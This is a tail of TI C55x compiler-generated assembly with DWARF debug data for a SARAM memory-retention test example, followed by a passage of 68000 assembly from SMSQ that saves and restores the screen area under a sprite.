DW_AT_name("F:\eZdsp_DBG\tmp1\c55x-sim2\foo\Debug\csl_saram_retention_example.asm:$C$L12:1:1538287744") .dwattr $C$DW$36, DW_AT_TI_begin_file("../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/memory/CSL_MEMORY_SARAM_RetentionExample/csl_saram_retention_example.c") .dwattr $C$DW$36, DW_AT_TI_begin_line(0xca) .dwattr $C$DW$36, DW_AT_TI_end_line(0xd1) $C$DW$37 .dwtag DW_TAG_TI_loop_range .dwattr $C$DW$37, DW_AT_low_pc($C$DW$L$_CSL_SARAM_RetentionTest$14$B) .dwattr $C$DW$37, DW_AT_high_pc($C$DW$L$_CSL_SARAM_RetentionTest$14$E) $C$DW$38 .dwtag DW_TAG_TI_loop_range .dwattr $C$DW$38, DW_AT_low_pc($C$DW$L$_CSL_SARAM_RetentionTest$16$B) .dwattr $C$DW$38, DW_AT_high_pc($C$DW$L$_CSL_SARAM_RetentionTest$16$E) .dwendtag $C$DW$36 $C$DW$39 .dwtag DW_TAG_TI_loop .dwattr $C$DW$39, DW_AT_name("F:\eZdsp_DBG\tmp1\c55x-sim2\foo\Debug\csl_saram_retention_example.asm:$C$L10:1:1538287744") .dwattr $C$DW$39, DW_AT_TI_begin_file("../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/memory/CSL_MEMORY_SARAM_RetentionExample/csl_saram_retention_example.c") .dwattr $C$DW$39, DW_AT_TI_begin_line(0xc4) .dwattr $C$DW$39, DW_AT_TI_end_line(0xc7) $C$DW$40 .dwtag DW_TAG_TI_loop_range .dwattr $C$DW$40, DW_AT_low_pc($C$DW$L$_CSL_SARAM_RetentionTest$12$B) .dwattr $C$DW$40, DW_AT_high_pc($C$DW$L$_CSL_SARAM_RetentionTest$12$E) .dwendtag $C$DW$39 $C$DW$41 .dwtag DW_TAG_TI_loop .dwattr $C$DW$41, DW_AT_name("F:\eZdsp_DBG\tmp1\c55x-sim2\foo\Debug\csl_saram_retention_example.asm:$C$L7:1:1538287744") .dwattr $C$DW$41, DW_AT_TI_begin_file("../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/memory/CSL_MEMORY_SARAM_RetentionExample/csl_saram_retention_example.c") .dwattr $C$DW$41, DW_AT_TI_begin_line(0xb4) .dwattr $C$DW$41, DW_AT_TI_end_line(0xb7) $C$DW$42 .dwtag DW_TAG_TI_loop_range .dwattr $C$DW$42, DW_AT_low_pc($C$DW$L$_CSL_SARAM_RetentionTest$8$B) .dwattr $C$DW$42, DW_AT_high_pc($C$DW$L$_CSL_SARAM_RetentionTest$8$E) .dwendtag $C$DW$41 $C$DW$43 .dwtag DW_TAG_TI_loop .dwattr $C$DW$43, DW_AT_name("F:\eZdsp_DBG\tmp1\c55x-sim2\foo\Debug\csl_saram_retention_example.asm:$C$L4:1:1538287744") .dwattr $C$DW$43, DW_AT_TI_begin_file("../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/memory/CSL_MEMORY_SARAM_RetentionExample/csl_saram_retention_example.c") .dwattr $C$DW$43, DW_AT_TI_begin_line(0xa3) .dwattr $C$DW$43, DW_AT_TI_end_line(0xa6) $C$DW$44 .dwtag DW_TAG_TI_loop_range .dwattr $C$DW$44, DW_AT_low_pc($C$DW$L$_CSL_SARAM_RetentionTest$4$B) .dwattr $C$DW$44, DW_AT_high_pc($C$DW$L$_CSL_SARAM_RetentionTest$4$E) .dwendtag $C$DW$43 .dwattr $C$DW$19, DW_AT_TI_end_file("../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/memory/CSL_MEMORY_SARAM_RetentionExample/csl_saram_retention_example.c") .dwattr $C$DW$19, DW_AT_TI_end_line(0xd9) .dwattr $C$DW$19, DW_AT_TI_end_column(0x01) .dwendentry .dwendtag $C$DW$19 ;******************************************************************************* ;* FAR STRINGS * ;******************************************************************************* .sect ".const:.string" .align 2 $C$FSL1: .string "SARAM Memory Retention Mode test!",10,10,0 .align 2 $C$FSL2: .string 10,"SARAM Memory Retention Mode test Passed!!",10,0 .align 2 $C$FSL3: .string 10,"SARAM Memory Retention Mode test Failed!!",10,0 .align 2 $C$FSL4: .string "MEM_init failed",0 .align 2 $C$FSL5: .string "Enabling the Memory Retention Mode",10,0 .align 2 $C$FSL6: .string "Enabling SARAM Memory Retention Mode Failed!",10,0 .align 2 $C$FSL7: .string "Wait for few CPU Cycles....",10,0 .align 2 $C$FSL8: .string "Disabling the Memory Retention Mode",10,0 .align 2 $C$FSL9: .string "Disabling SARAM Memory Retention Mode Failed!",10,0 .align 2 $C$FSL10: .string "SARAM data is not Retained!",10,0 .align 2 $C$FSL11: .string "SARAM Data Buffer verification successful",10,0 .align 2 $C$FSL12: .string "SARAM data is Retained!",10,0 ;****************************************************************************** ;* UNDEFINED EXTERNAL REFERENCES * ;****************************************************************************** .global _MEM_init .global _MEM_enableRetentionMode .global _MEM_disableRetentionMode .global _printf ;******************************************************************************* ;* TYPE INFORMATION * ;******************************************************************************* $C$DW$T$19 .dwtag DW_TAG_enumeration_type .dwattr $C$DW$T$19, DW_AT_byte_size(0x01) $C$DW$45 .dwtag DW_TAG_enumerator, DW_AT_name("CSL_MEM_DARAM"), DW_AT_const_value(0x00) $C$DW$46 .dwtag DW_TAG_enumerator, DW_AT_name("CSL_MEM_SARAM"), DW_AT_const_value(0x01) $C$DW$47 .dwtag DW_TAG_enumerator, DW_AT_name("CSL_MEM_INVALID"), DW_AT_const_value(0x02) .dwendtag $C$DW$T$19 $C$DW$T$20 .dwtag DW_TAG_typedef, DW_AT_name("CSL_MemType") .dwattr $C$DW$T$20, DW_AT_type(*$C$DW$T$19) .dwattr $C$DW$T$20, DW_AT_language(DW_LANG_C) $C$DW$T$4 .dwtag DW_TAG_base_type .dwattr $C$DW$T$4, DW_AT_encoding(DW_ATE_boolean) .dwattr $C$DW$T$4, DW_AT_name("bool") .dwattr $C$DW$T$4, DW_AT_byte_size(0x01) $C$DW$T$5 .dwtag DW_TAG_base_type .dwattr $C$DW$T$5, DW_AT_encoding(DW_ATE_signed_char) .dwattr $C$DW$T$5, DW_AT_name("signed char") .dwattr $C$DW$T$5, DW_AT_byte_size(0x01) $C$DW$T$6 .dwtag DW_TAG_base_type .dwattr $C$DW$T$6, DW_AT_encoding(DW_ATE_unsigned_char) .dwattr $C$DW$T$6, DW_AT_name("unsigned char") .dwattr $C$DW$T$6, DW_AT_byte_size(0x01) $C$DW$T$7 .dwtag DW_TAG_base_type .dwattr $C$DW$T$7, DW_AT_encoding(DW_ATE_signed_char) .dwattr $C$DW$T$7, DW_AT_name("wchar_t") .dwattr $C$DW$T$7, DW_AT_byte_size(0x01) $C$DW$T$8 .dwtag DW_TAG_base_type .dwattr $C$DW$T$8, DW_AT_encoding(DW_ATE_signed) .dwattr $C$DW$T$8, DW_AT_name("short") .dwattr $C$DW$T$8, DW_AT_byte_size(0x01) $C$DW$T$22 .dwtag DW_TAG_typedef, DW_AT_name("Int16") .dwattr $C$DW$T$22, DW_AT_type(*$C$DW$T$8) .dwattr $C$DW$T$22, DW_AT_language(DW_LANG_C) $C$DW$T$23 .dwtag DW_TAG_typedef, DW_AT_name("CSL_Status") .dwattr $C$DW$T$23, DW_AT_type(*$C$DW$T$22) .dwattr $C$DW$T$23, DW_AT_language(DW_LANG_C) $C$DW$48 .dwtag DW_TAG_TI_far_type .dwattr $C$DW$48, DW_AT_type(*$C$DW$T$22) $C$DW$T$28 .dwtag DW_TAG_volatile_type .dwattr $C$DW$T$28, DW_AT_type(*$C$DW$48) $C$DW$T$9 .dwtag DW_TAG_base_type .dwattr $C$DW$T$9, DW_AT_encoding(DW_ATE_unsigned) .dwattr $C$DW$T$9, DW_AT_name("unsigned short") .dwattr $C$DW$T$9, DW_AT_byte_size(0x01) $C$DW$T$29 .dwtag DW_TAG_typedef, DW_AT_name("Uint16") .dwattr $C$DW$T$29, DW_AT_type(*$C$DW$T$9) .dwattr $C$DW$T$29, DW_AT_language(DW_LANG_C) $C$DW$49 .dwtag DW_TAG_TI_far_type .dwattr $C$DW$49, DW_AT_type(*$C$DW$T$29) $C$DW$T$30 .dwtag DW_TAG_volatile_type .dwattr $C$DW$T$30, DW_AT_type(*$C$DW$49) $C$DW$T$31 .dwtag DW_TAG_array_type .dwattr $C$DW$T$31, DW_AT_type(*$C$DW$T$29) .dwattr $C$DW$T$31, DW_AT_language(DW_LANG_C) .dwattr $C$DW$T$31, DW_AT_byte_size(0x64) $C$DW$50 .dwtag DW_TAG_subrange_type .dwattr $C$DW$50, DW_AT_upper_bound(0x63) .dwendtag $C$DW$T$31 $C$DW$T$10 .dwtag DW_TAG_base_type .dwattr $C$DW$T$10, DW_AT_encoding(DW_ATE_signed) .dwattr $C$DW$T$10, DW_AT_name("int") .dwattr $C$DW$T$10, DW_AT_byte_size(0x01) $C$DW$T$11 .dwtag DW_TAG_base_type .dwattr $C$DW$T$11, DW_AT_encoding(DW_ATE_unsigned) .dwattr $C$DW$T$11, DW_AT_name("unsigned int") .dwattr $C$DW$T$11, DW_AT_byte_size(0x01) $C$DW$T$12 .dwtag DW_TAG_base_type .dwattr $C$DW$T$12, DW_AT_encoding(DW_ATE_signed) .dwattr $C$DW$T$12, DW_AT_name("long") .dwattr $C$DW$T$12, DW_AT_byte_size(0x02) $C$DW$T$13 .dwtag DW_TAG_base_type .dwattr $C$DW$T$13, DW_AT_encoding(DW_ATE_unsigned) .dwattr $C$DW$T$13, DW_AT_name("unsigned long") .dwattr $C$DW$T$13, DW_AT_byte_size(0x02) $C$DW$T$14 .dwtag DW_TAG_base_type .dwattr $C$DW$T$14, DW_AT_encoding(DW_ATE_signed) .dwattr $C$DW$T$14, DW_AT_name("long long") .dwattr $C$DW$T$14, DW_AT_byte_size(0x04) .dwattr $C$DW$T$14, DW_AT_bit_size(0x28) .dwattr $C$DW$T$14, DW_AT_bit_offset(0x18) $C$DW$T$15 .dwtag DW_TAG_base_type .dwattr $C$DW$T$15, DW_AT_encoding(DW_ATE_unsigned) .dwattr $C$DW$T$15, DW_AT_name("unsigned long long") .dwattr $C$DW$T$15, DW_AT_byte_size(0x04) .dwattr $C$DW$T$15, DW_AT_bit_size(0x28) .dwattr $C$DW$T$15, DW_AT_bit_offset(0x18) $C$DW$T$16 .dwtag DW_TAG_base_type .dwattr $C$DW$T$16, DW_AT_encoding(DW_ATE_float) .dwattr $C$DW$T$16, DW_AT_name("float") .dwattr $C$DW$T$16, DW_AT_byte_size(0x02) $C$DW$T$17 .dwtag DW_TAG_base_type .dwattr $C$DW$T$17, DW_AT_encoding(DW_ATE_float) .dwattr $C$DW$T$17, DW_AT_name("double") .dwattr $C$DW$T$17, DW_AT_byte_size(0x02) $C$DW$T$18 .dwtag DW_TAG_base_type .dwattr $C$DW$T$18, DW_AT_encoding(DW_ATE_float) .dwattr $C$DW$T$18, DW_AT_name("long double") .dwattr $C$DW$T$18, DW_AT_byte_size(0x02) $C$DW$T$33 .dwtag DW_TAG_base_type .dwattr $C$DW$T$33, DW_AT_encoding(DW_ATE_signed_char) .dwattr $C$DW$T$33, DW_AT_name("signed char") .dwattr $C$DW$T$33, DW_AT_byte_size(0x01) $C$DW$51 .dwtag DW_TAG_TI_far_type .dwattr $C$DW$51, DW_AT_type(*$C$DW$T$33) $C$DW$T$34 .dwtag DW_TAG_const_type .dwattr $C$DW$T$34, DW_AT_type(*$C$DW$51) $C$DW$T$35 .dwtag DW_TAG_pointer_type .dwattr $C$DW$T$35, DW_AT_type(*$C$DW$T$34) .dwattr $C$DW$T$35, DW_AT_address_class(0x17) .dwattr $C$DW$CU, DW_AT_language(DW_LANG_C) ;*************************************************************** ;* DWARF CIE ENTRIES * ;*************************************************************** $C$DW$CIE .dwcie 91 .dwcfi cfa_register, 36 .dwcfi cfa_offset, 0 .dwcfi undefined, 0 .dwcfi undefined, 1 .dwcfi undefined, 2 .dwcfi undefined, 3 .dwcfi undefined, 4 .dwcfi undefined, 5 .dwcfi undefined, 6 .dwcfi undefined, 7 .dwcfi undefined, 8 .dwcfi undefined, 9 .dwcfi undefined, 10 .dwcfi undefined, 11 .dwcfi undefined, 12 .dwcfi undefined, 13 .dwcfi same_value, 14 .dwcfi same_value, 15 .dwcfi undefined, 16 .dwcfi undefined, 17 .dwcfi undefined, 18 .dwcfi undefined, 19 .dwcfi undefined, 20 .dwcfi undefined, 21 .dwcfi undefined, 22 .dwcfi undefined, 23 .dwcfi undefined, 24 .dwcfi undefined, 25 .dwcfi same_value, 26 .dwcfi same_value, 27 .dwcfi same_value, 28 .dwcfi same_value, 29 .dwcfi same_value, 30 .dwcfi same_value, 31 .dwcfi undefined, 32 .dwcfi undefined, 33 .dwcfi undefined, 34 .dwcfi undefined, 35 .dwcfi undefined, 36 .dwcfi undefined, 37 .dwcfi undefined, 38 .dwcfi undefined, 39 .dwcfi undefined, 40 .dwcfi undefined, 41 .dwcfi undefined, 42 .dwcfi undefined, 43 .dwcfi undefined, 44 .dwcfi undefined, 45 .dwcfi undefined, 46 .dwcfi undefined, 47 .dwcfi undefined, 48 .dwcfi undefined, 49 .dwcfi undefined, 50 .dwcfi undefined, 51 .dwcfi undefined, 52 .dwcfi undefined, 53 .dwcfi undefined, 54 .dwcfi undefined, 55 .dwcfi undefined, 56 .dwcfi undefined, 57 .dwcfi undefined, 58 .dwcfi undefined, 59 .dwcfi undefined, 60 .dwcfi undefined, 61 .dwcfi undefined, 62 .dwcfi undefined, 63 .dwcfi undefined, 64 .dwcfi undefined, 65 .dwcfi undefined, 66 .dwcfi undefined, 67 .dwcfi undefined, 68 .dwcfi undefined, 69 .dwcfi undefined, 70 .dwcfi undefined, 71 .dwcfi undefined, 72 .dwcfi undefined, 73 .dwcfi undefined, 74 .dwcfi undefined, 75 .dwcfi undefined, 76 .dwcfi undefined, 77 .dwcfi undefined, 78 .dwcfi undefined, 79 .dwcfi undefined, 80 .dwcfi undefined, 81 .dwcfi undefined, 82 .dwcfi undefined, 83 .dwcfi undefined, 84 .dwcfi undefined, 85 .dwcfi undefined, 86 .dwcfi undefined, 87 .dwcfi undefined, 88 .dwcfi undefined, 89 .dwcfi undefined, 90 .dwcfi undefined, 91 .dwendentry ;*************************************************************** ;* DWARF REGISTER MAP * ;*************************************************************** $C$DW$52 .dwtag DW_TAG_TI_assign_register, DW_AT_name("AC0") .dwattr $C$DW$52, DW_AT_location[DW_OP_reg0] $C$DW$53 .dwtag DW_TAG_TI_assign_register, DW_AT_name("AC0") .dwattr $C$DW$53, DW_AT_location[DW_OP_reg1] $C$DW$54 .dwtag DW_TAG_TI_assign_register, DW_AT_name("AC0_G") .dwattr $C$DW$54, DW_AT_location[DW_OP_reg2] $C$DW$55 .dwtag DW_TAG_TI_assign_register, DW_AT_name("AC1") .dwattr $C$DW$55, DW_AT_location[DW_OP_reg3] $C$DW$56 .dwtag DW_TAG_TI_assign_register, DW_AT_name("AC1") .dwattr $C$DW$56, DW_AT_location[DW_OP_reg4] $C$DW$57 .dwtag DW_TAG_TI_assign_register, DW_AT_name("AC1_G") .dwattr $C$DW$57, DW_AT_location[DW_OP_reg5] $C$DW$58 .dwtag DW_TAG_TI_assign_register, DW_AT_name("AC2") .dwattr $C$DW$58, DW_AT_location[DW_OP_reg6] $C$DW$59 .dwtag DW_TAG_TI_assign_register, DW_AT_name("AC2") .dwattr $C$DW$59, DW_AT_location[DW_OP_reg7] $C$DW$60 .dwtag DW_TAG_TI_assign_register, DW_AT_name("AC2_G") .dwattr $C$DW$60, DW_AT_location[DW_OP_reg8] $C$DW$61 .dwtag DW_TAG_TI_assign_register, DW_AT_name("AC3") .dwattr $C$DW$61, DW_AT_location[DW_OP_reg9] $C$DW$62 .dwtag DW_TAG_TI_assign_register, DW_AT_name("AC3") .dwattr $C$DW$62, DW_AT_location[DW_OP_reg10] $C$DW$63 .dwtag DW_TAG_TI_assign_register, DW_AT_name("AC3_G") .dwattr $C$DW$63, DW_AT_location[DW_OP_reg11] $C$DW$64 .dwtag DW_TAG_TI_assign_register, DW_AT_name("T0") .dwattr $C$DW$64, DW_AT_location[DW_OP_reg12] $C$DW$65 .dwtag DW_TAG_TI_assign_register, DW_AT_name("T1") .dwattr $C$DW$65, DW_AT_location[DW_OP_reg13] $C$DW$66 .dwtag DW_TAG_TI_assign_register, DW_AT_name("T2") .dwattr $C$DW$66, DW_AT_location[DW_OP_reg14] $C$DW$67 .dwtag DW_TAG_TI_assign_register, DW_AT_name("T3") .dwattr $C$DW$67, DW_AT_location[DW_OP_reg15] $C$DW$68 .dwtag DW_TAG_TI_assign_register, DW_AT_name("AR0") .dwattr $C$DW$68, DW_AT_location[DW_OP_reg16] $C$DW$69 .dwtag DW_TAG_TI_assign_register, DW_AT_name("XAR0") .dwattr $C$DW$69, DW_AT_location[DW_OP_reg17] $C$DW$70 .dwtag DW_TAG_TI_assign_register, DW_AT_name("AR1") .dwattr $C$DW$70, DW_AT_location[DW_OP_reg18] $C$DW$71 .dwtag DW_TAG_TI_assign_register, DW_AT_name("XAR1") .dwattr $C$DW$71, DW_AT_location[DW_OP_reg19] $C$DW$72 .dwtag DW_TAG_TI_assign_register, DW_AT_name("AR2") .dwattr $C$DW$72, DW_AT_location[DW_OP_reg20] $C$DW$73 .dwtag DW_TAG_TI_assign_register, DW_AT_name("XAR2") .dwattr $C$DW$73, DW_AT_location[DW_OP_reg21] $C$DW$74 .dwtag DW_TAG_TI_assign_register, DW_AT_name("AR3") .dwattr $C$DW$74, DW_AT_location[DW_OP_reg22] $C$DW$75 .dwtag DW_TAG_TI_assign_register, DW_AT_name("XAR3") .dwattr $C$DW$75, DW_AT_location[DW_OP_reg23] $C$DW$76 .dwtag DW_TAG_TI_assign_register, DW_AT_name("AR4") .dwattr $C$DW$76, DW_AT_location[DW_OP_reg24] $C$DW$77 .dwtag DW_TAG_TI_assign_register, DW_AT_name("XAR4") .dwattr $C$DW$77, DW_AT_location[DW_OP_reg25] $C$DW$78 .dwtag DW_TAG_TI_assign_register, DW_AT_name("AR5") .dwattr $C$DW$78, DW_AT_location[DW_OP_reg26] $C$DW$79 .dwtag DW_TAG_TI_assign_register, DW_AT_name("XAR5") .dwattr $C$DW$79, DW_AT_location[DW_OP_reg27] $C$DW$80 .dwtag DW_TAG_TI_assign_register, DW_AT_name("AR6") .dwattr $C$DW$80, DW_AT_location[DW_OP_reg28] $C$DW$81 .dwtag DW_TAG_TI_assign_register, DW_AT_name("XAR6") .dwattr $C$DW$81, DW_AT_location[DW_OP_reg29] $C$DW$82 .dwtag DW_TAG_TI_assign_register, DW_AT_name("AR7") .dwattr $C$DW$82, DW_AT_location[DW_OP_reg30] $C$DW$83 .dwtag DW_TAG_TI_assign_register, DW_AT_name("XAR7") .dwattr $C$DW$83, DW_AT_location[DW_OP_reg31] $C$DW$84 .dwtag DW_TAG_TI_assign_register, DW_AT_name("FP") .dwattr $C$DW$84, DW_AT_location[DW_OP_regx 0x20] $C$DW$85 .dwtag DW_TAG_TI_assign_register, DW_AT_name("XFP") .dwattr $C$DW$85, DW_AT_location[DW_OP_regx 0x21] $C$DW$86 .dwtag DW_TAG_TI_assign_register, DW_AT_name("PC") .dwattr $C$DW$86, DW_AT_location[DW_OP_regx 0x22] $C$DW$87 .dwtag DW_TAG_TI_assign_register, DW_AT_name("SP") .dwattr $C$DW$87, DW_AT_location[DW_OP_regx 0x23] $C$DW$88 .dwtag DW_TAG_TI_assign_register, DW_AT_name("XSP") .dwattr $C$DW$88, DW_AT_location[DW_OP_regx 0x24] $C$DW$89 .dwtag DW_TAG_TI_assign_register, DW_AT_name("BKC") .dwattr $C$DW$89, DW_AT_location[DW_OP_regx 0x25] $C$DW$90 .dwtag DW_TAG_TI_assign_register, DW_AT_name("BK03") .dwattr $C$DW$90, DW_AT_location[DW_OP_regx 0x26] $C$DW$91 .dwtag DW_TAG_TI_assign_register, DW_AT_name("BK47") .dwattr $C$DW$91, DW_AT_location[DW_OP_regx 0x27] $C$DW$92 .dwtag DW_TAG_TI_assign_register, DW_AT_name("ST0") .dwattr $C$DW$92, DW_AT_location[DW_OP_regx 0x28] $C$DW$93 .dwtag DW_TAG_TI_assign_register, DW_AT_name("ST1") .dwattr $C$DW$93, DW_AT_location[DW_OP_regx 0x29] $C$DW$94 .dwtag DW_TAG_TI_assign_register, DW_AT_name("ST2") .dwattr $C$DW$94, DW_AT_location[DW_OP_regx 0x2a] $C$DW$95 .dwtag DW_TAG_TI_assign_register, DW_AT_name("ST3") .dwattr $C$DW$95, DW_AT_location[DW_OP_regx 0x2b] $C$DW$96 .dwtag DW_TAG_TI_assign_register, DW_AT_name("MDP") .dwattr $C$DW$96, DW_AT_location[DW_OP_regx 0x2c] $C$DW$97 .dwtag DW_TAG_TI_assign_register, DW_AT_name("MDP05") .dwattr $C$DW$97, DW_AT_location[DW_OP_regx 0x2d] $C$DW$98 .dwtag DW_TAG_TI_assign_register, DW_AT_name("MDP67") .dwattr $C$DW$98, DW_AT_location[DW_OP_regx 0x2e] $C$DW$99 .dwtag DW_TAG_TI_assign_register, DW_AT_name("BRC0") .dwattr $C$DW$99, DW_AT_location[DW_OP_regx 0x2f] $C$DW$100 .dwtag DW_TAG_TI_assign_register, DW_AT_name("RSA0") .dwattr $C$DW$100, DW_AT_location[DW_OP_regx 0x30] $C$DW$101 .dwtag DW_TAG_TI_assign_register, DW_AT_name("RSA0_H") .dwattr $C$DW$101, DW_AT_location[DW_OP_regx 0x31] $C$DW$102 .dwtag DW_TAG_TI_assign_register, DW_AT_name("REA0") .dwattr $C$DW$102, DW_AT_location[DW_OP_regx 0x32] $C$DW$103 .dwtag DW_TAG_TI_assign_register, DW_AT_name("REA0_H") .dwattr $C$DW$103, DW_AT_location[DW_OP_regx 0x33] $C$DW$104 .dwtag DW_TAG_TI_assign_register, DW_AT_name("BRS1") .dwattr $C$DW$104, DW_AT_location[DW_OP_regx 0x34] $C$DW$105 .dwtag DW_TAG_TI_assign_register, DW_AT_name("BRC1") .dwattr $C$DW$105, DW_AT_location[DW_OP_regx 0x35] $C$DW$106 .dwtag DW_TAG_TI_assign_register, DW_AT_name("RSA1") .dwattr $C$DW$106, DW_AT_location[DW_OP_regx 0x36] $C$DW$107 .dwtag DW_TAG_TI_assign_register, DW_AT_name("RSA1_H") .dwattr $C$DW$107, DW_AT_location[DW_OP_regx 0x37] $C$DW$108 .dwtag DW_TAG_TI_assign_register, DW_AT_name("REA1") .dwattr $C$DW$108, DW_AT_location[DW_OP_regx 0x38] $C$DW$109 .dwtag DW_TAG_TI_assign_register, DW_AT_name("REA1_H") .dwattr $C$DW$109, DW_AT_location[DW_OP_regx 0x39] $C$DW$110 .dwtag DW_TAG_TI_assign_register, DW_AT_name("CSR") .dwattr $C$DW$110, DW_AT_location[DW_OP_regx 0x3a] $C$DW$111 .dwtag DW_TAG_TI_assign_register, DW_AT_name("RPTC") .dwattr $C$DW$111, DW_AT_location[DW_OP_regx 0x3b] $C$DW$112 .dwtag DW_TAG_TI_assign_register, DW_AT_name("CDP") .dwattr $C$DW$112, DW_AT_location[DW_OP_regx 0x3c] $C$DW$113 .dwtag DW_TAG_TI_assign_register, DW_AT_name("XCDP") .dwattr $C$DW$113, DW_AT_location[DW_OP_regx 0x3d] $C$DW$114 .dwtag DW_TAG_TI_assign_register, DW_AT_name("TRN0") .dwattr $C$DW$114, DW_AT_location[DW_OP_regx 0x3e] $C$DW$115 .dwtag DW_TAG_TI_assign_register, DW_AT_name("TRN1") .dwattr $C$DW$115, DW_AT_location[DW_OP_regx 0x3f] $C$DW$116 .dwtag DW_TAG_TI_assign_register, DW_AT_name("BSA01") .dwattr $C$DW$116, DW_AT_location[DW_OP_regx 0x40] $C$DW$117 .dwtag DW_TAG_TI_assign_register, DW_AT_name("BSA23") .dwattr $C$DW$117, DW_AT_location[DW_OP_regx 0x41] $C$DW$118 .dwtag DW_TAG_TI_assign_register, DW_AT_name("BSA45") .dwattr $C$DW$118, DW_AT_location[DW_OP_regx 0x42] $C$DW$119 .dwtag DW_TAG_TI_assign_register, DW_AT_name("BSA67") .dwattr $C$DW$119, DW_AT_location[DW_OP_regx 0x43] $C$DW$120 .dwtag DW_TAG_TI_assign_register, DW_AT_name("BSAC") .dwattr $C$DW$120, DW_AT_location[DW_OP_regx 0x44] $C$DW$121 .dwtag DW_TAG_TI_assign_register, DW_AT_name("CARRY") .dwattr $C$DW$121, DW_AT_location[DW_OP_regx 0x45] $C$DW$122 .dwtag DW_TAG_TI_assign_register, DW_AT_name("TC1") .dwattr $C$DW$122, DW_AT_location[DW_OP_regx 0x46] $C$DW$123 .dwtag DW_TAG_TI_assign_register, DW_AT_name("TC2") .dwattr $C$DW$123, DW_AT_location[DW_OP_regx 0x47] $C$DW$124 .dwtag DW_TAG_TI_assign_register, DW_AT_name("M40") .dwattr $C$DW$124, DW_AT_location[DW_OP_regx 0x48] $C$DW$125 .dwtag DW_TAG_TI_assign_register, DW_AT_name("SXMD") .dwattr $C$DW$125, DW_AT_location[DW_OP_regx 0x49] $C$DW$126 .dwtag DW_TAG_TI_assign_register, DW_AT_name("ARMS") .dwattr $C$DW$126, DW_AT_location[DW_OP_regx 0x4a] $C$DW$127 .dwtag DW_TAG_TI_assign_register, DW_AT_name("C54CM") .dwattr $C$DW$127, DW_AT_location[DW_OP_regx 0x4b] $C$DW$128 .dwtag DW_TAG_TI_assign_register, DW_AT_name("SATA") .dwattr $C$DW$128, DW_AT_location[DW_OP_regx 0x4c] $C$DW$129 .dwtag DW_TAG_TI_assign_register, DW_AT_name("SATD") .dwattr $C$DW$129, DW_AT_location[DW_OP_regx 0x4d] $C$DW$130 .dwtag DW_TAG_TI_assign_register, DW_AT_name("RDM") .dwattr $C$DW$130, DW_AT_location[DW_OP_regx 0x4e] $C$DW$131 .dwtag DW_TAG_TI_assign_register, DW_AT_name("FRCT") .dwattr $C$DW$131, DW_AT_location[DW_OP_regx 0x4f] $C$DW$132 .dwtag DW_TAG_TI_assign_register, DW_AT_name("SMUL") .dwattr $C$DW$132, DW_AT_location[DW_OP_regx 0x50] $C$DW$133 .dwtag DW_TAG_TI_assign_register, DW_AT_name("INTM") .dwattr $C$DW$133, DW_AT_location[DW_OP_regx 0x51] $C$DW$134 .dwtag DW_TAG_TI_assign_register, DW_AT_name("AR0LC") .dwattr $C$DW$134, DW_AT_location[DW_OP_regx 0x52] $C$DW$135 .dwtag DW_TAG_TI_assign_register, DW_AT_name("AR1LC") .dwattr $C$DW$135, DW_AT_location[DW_OP_regx 0x53] $C$DW$136 .dwtag DW_TAG_TI_assign_register, DW_AT_name("AR2LC") .dwattr $C$DW$136, DW_AT_location[DW_OP_regx 0x54] $C$DW$137 .dwtag DW_TAG_TI_assign_register, DW_AT_name("AR3LC") .dwattr $C$DW$137, DW_AT_location[DW_OP_regx 0x55] $C$DW$138 .dwtag DW_TAG_TI_assign_register, DW_AT_name("AR4LC") .dwattr $C$DW$138, DW_AT_location[DW_OP_regx 0x56] $C$DW$139 .dwtag DW_TAG_TI_assign_register, DW_AT_name("AR5LC") .dwattr $C$DW$139, DW_AT_location[DW_OP_regx 0x57] $C$DW$140 .dwtag DW_TAG_TI_assign_register, DW_AT_name("AR6LC") .dwattr $C$DW$140, DW_AT_location[DW_OP_regx 0x58] $C$DW$141 .dwtag DW_TAG_TI_assign_register, DW_AT_name("AR7LC") .dwattr $C$DW$141, DW_AT_location[DW_OP_regx 0x59] $C$DW$142 .dwtag DW_TAG_TI_assign_register, DW_AT_name("CDPLC") .dwattr $C$DW$142, DW_AT_location[DW_OP_regx 0x5a] $C$DW$143 .dwtag DW_TAG_TI_assign_register, DW_AT_name("CIE_RETA") .dwattr $C$DW$143, DW_AT_location[DW_OP_regx 0x5b] .dwendtag $C$DW$CU
; Update the save area for a sprite V1.01  1985 Tony Tebby ; 2005 Marcel Kilgus ; ; 2016-02-14 1.02 Change for SMSQmulator, do not move.l onto odd address (wl) ; 2005-01-25 1.01 Changes for mouse pointer clipping (MK) ; ; ; d0 s ; d1 s ; d2 s ; d3 s ; d4 s ; d5 c p width-1 of save area ; d6 c p height-1 of save area / draw up (msb) ; d7 p horizontal shift for sprite ; ; a0 s ; a1 c p pointer to linkage block ; a2 c s old pointer to screen (sp_remove) ; a3 c u new pointer to screen (sp_new) ; a4 c u pointer to sprite pattern ; a5 c u pointer to sprite mask ; a6 c u address increment of screen ; section driver ; xdef sp_save xdef sp_new xdef sp_remove ; include dev8_keys_con ; sp_save ; dragon for tricky code see ql bsr.s sp_remove ; ; entry to create a new save area ; sp_new move.l a3,-(sp) move.l a1,-(sp) move.w d6,d3 move.w d6,pt_spszy(a1) remember save area height move.l pt_spsav(a1),a1 ptr to save area new_row move.w d5,d4 move.l a3,d0 btst #0,d0 odd address? bne.s odd1 yes new_rword move.l (a3)+,(a1)+ copy from new area dbra d4,new_rword ... a row ; nxt_rw lea -4(a3,a6.w),a3 ... next row dbra d3,new_row ... any left? move.l (sp)+,a1 move.l (sp)+,a3 rts odd1 move.b (a3)+,(a1)+ move.b (a3)+,(a1)+ move.b (a3)+,(a1)+ move.b (a3)+,(a1)+ dbra d4,odd1 bra.s nxt_rw ; ; entry to remove sprite from screen ; sp_remove move.l a1,-(sp) move.w pt_spszy(a1),d3 height of saved sprite move.l pt_spsav(a1),a1 ptr to save area rem_row move.l d5,d4 move.l a2,d0 btst #0,d0 odd address? bne.s odd2 yes rem_rword move.l (a1)+,(a2)+ copy into old area dbra d4,rem_rword ... a row ; nxt_row lea -4(a2,a6.w),a2 ... next row dbra d3,rem_row ; move.l (sp)+,a1 ; exit rts odd2 move.b (a1)+,(a2)+ move.b 